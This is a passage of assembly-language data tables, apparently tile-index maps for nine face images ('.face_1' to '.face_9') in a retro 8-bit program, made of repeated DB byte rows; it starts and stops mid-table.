$80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_1 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $86, $87, $88, $82, $89, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $94, $95, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $96, $8A, $97, $98, $99, $9A, $9B, $8A, $9C, $9D, $9E, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $8A, $A5, $A6, $A7, $A8, $A9, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AA, $8A, $8A, $AB, $AC, $8A, $AD, $AE, $AF, $B0, $B1, $B2, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $8A, $B5, $B6, $8A, $B7, $8A, $B8, $B9, $BA, $BB, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $BC, $BD, $BE, $8A, $8A, $8A, $BF, $C0, $8A, $8A, $C1, $C2, $C3, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $C4, $80, $C5, $C6, $8A, $8A, $8A, $C7, $8A, $8A, $C8, $C9, $CA, $CB, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_2 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $86, $87, $88, $82, $89, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $94, $95, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $96, $8A, $97, $98, $99, $9A, $9B, $8A, $9C, $9D, $9E, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $8A, $A5, $A6, $A7, $A8, $A9, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AA, $8A, $8A, $AB, $AC, $8A, $AD, $AE, $AF, $B0, $B1, $B2, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $8A, $B5, $B6, $8A, $B7, $8A, $B8, $B9, $BA, $BB, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $BC, $BD, $BE, $8A, $8A, $8A, $BF, $8A, $8A, $C0, $C1, $C2, $C3, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C4, $80, $80, $C5, $C6, $8A, $8A, $C7, $C8, $8A, $C9, $CA, $CB, $CC, $CD, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_3 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $86, $87, $88, $82, $89, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $94, $95, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $96, $8A, $97, $98, $99, $9A, $9B, $8A, $9C, $9D, $9E, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $8A, $A5, $A6, $A7, $A8, $A9, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AA, $8A, $8A, $AB, $AC, $8A, $AD, $AE, $AF, $B0, $B1, $B2, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $8A, $B5, $B6, $8A, $B7, $8A, $B8, $B9, $BA, $BB, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $BC, $BD, $BE, $8A, $8A, $8A, $BF, $8A, $8A, $C0, $C1, $C2, $C3, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C4, $80, $80, $C5, $BE, $8A, $8A, $C6, $C7, $8A, $C8, $C9, $CA, $CB, $CC, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_4 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $86, $87, $88, $82, $89, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $94, $95, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $96, $97, $8A, $98, $99, $9A, $9B, $9C, $8A, $9D, $9E, $9F, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $AB, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AC, $8A, $8A, $AD, $AE, $8A, $AF, $B0, $B1, $B2, $B3, $B4, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B5, $B6, $8A, $B7, $8A, $8A, $B8, $B9, $BA, $BB, $BC, $BD, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $BE, $80, $BF, $8A, $8A, $8A, $8A, $C0, $8A, $8A, $C1, $C2, $C3, $C4, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C5, $80, $80, $C6, $8A, $8A, $8A, $C7, $8A, $8A, $C8, $C9, $CA, $CB, $CC, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_5 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $86, $87, $88, $82, $89, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $94, $95, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $96, $97, $8A, $98, $99, $9A, $9B, $9C, $8A, $9D, $9E, $9F, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $AB, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AC, $8A, $8A, $AD, $AE, $8A, $AF, $B0, $B1, $B2, $B3, $B4, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B5, $B6, $8A, $B7, $8A, $8A, $B8, $B9, $BA, $BB, $BC, $BD, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $BE, $BF, $8A, $8A, $8A, $8A, $C0, $8A, $8A, $C1, $C2, $C3, $C4, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C5, $80, $80, $C6, $8A, $8A, $8A, $C7, $8A, $8A, $C8, $C9, $CA, $CB, $CC, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_6 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $86, $87, $88, $82, $89, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $94, $95, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $96, $97, $8A, $98, $99, $9A, $9B, $9C, $8A, $9D, $9E, $9F, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $AB, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AC, $8A, $8A, $AD, $AE, $8A, $AF, $B0, $B1, $B2, $B3, $B4, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B5, $B6, $8A, $B7, $8A, $8A, $B8, $B9, $BA, $BB, $BC, $BD, $8A, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $BE, $BF, $C0, $8A, $8A, $8A, $C1, $8A, $8A, $C2, $C3, $C4, $C5, $8A, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C6, $80, $80, $C7, $8A, $8A, $8A, $C8, $8A, $8A, $C9, $CA, $CB, $CC, $CD, $8A, $8A, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_7 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $80, $86, $87, $88, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8A, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $94, $95, $96, $97, $98, $99, $9A, $9B, $89, $9C, $9D, $9E, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AB, $89, $89, $AC, $AD, $89, $AE, $AF, $B0, $B1, $82, $B2, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $89, $B5, $89, $89, $B6, $B7, $B8, $B9, $82, $BA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $BB, $80, $BC, $BD, $89, $89, $89, $BE, $89, $89, $BF, $C0, $C1, $C2, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C3, $80, $80, $C4, $89, $89, $89, $C5, $89, $89, $C6, $C7, $C8, $C9, $CA, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_8 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $81, $82, $82, $82, $82, $82, $83, $84, $80, $80, $85, $80, $86, $87, $88, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $82, $8A, $8B, $8C, $8D, $8E, $8F, $90, $91, $92, $93, $89, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $94, $95, $96, $97, $98, $99, $9A, $9B, $89, $9C, $9D, $9E, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $9F, $A0, $A1, $A2, $A3, $A4, $A5, $A6, $A7, $A8, $A9, $AA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $AB, $89, $89, $AC, $AD, $89, $AE, $AF, $B0, $B1, $82, $B2, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $82, $B3, $B4, $89, $B5, $89, $89, $B6, $B7, $B8, $B9, $93, $BA, $89, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $BB, $80, $BC, $BD, $89, $89, $89, $BE, $89, $89, $BF, $C0, $C1, $C2, $89, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $82, $82, $82, $C3, $80, $80, $C4, $89, $89, $89, $C5, $89, $89, $C6, $C7, $C8, $C9, $CA, $89, $89, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, .face_9 DB $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, $80, 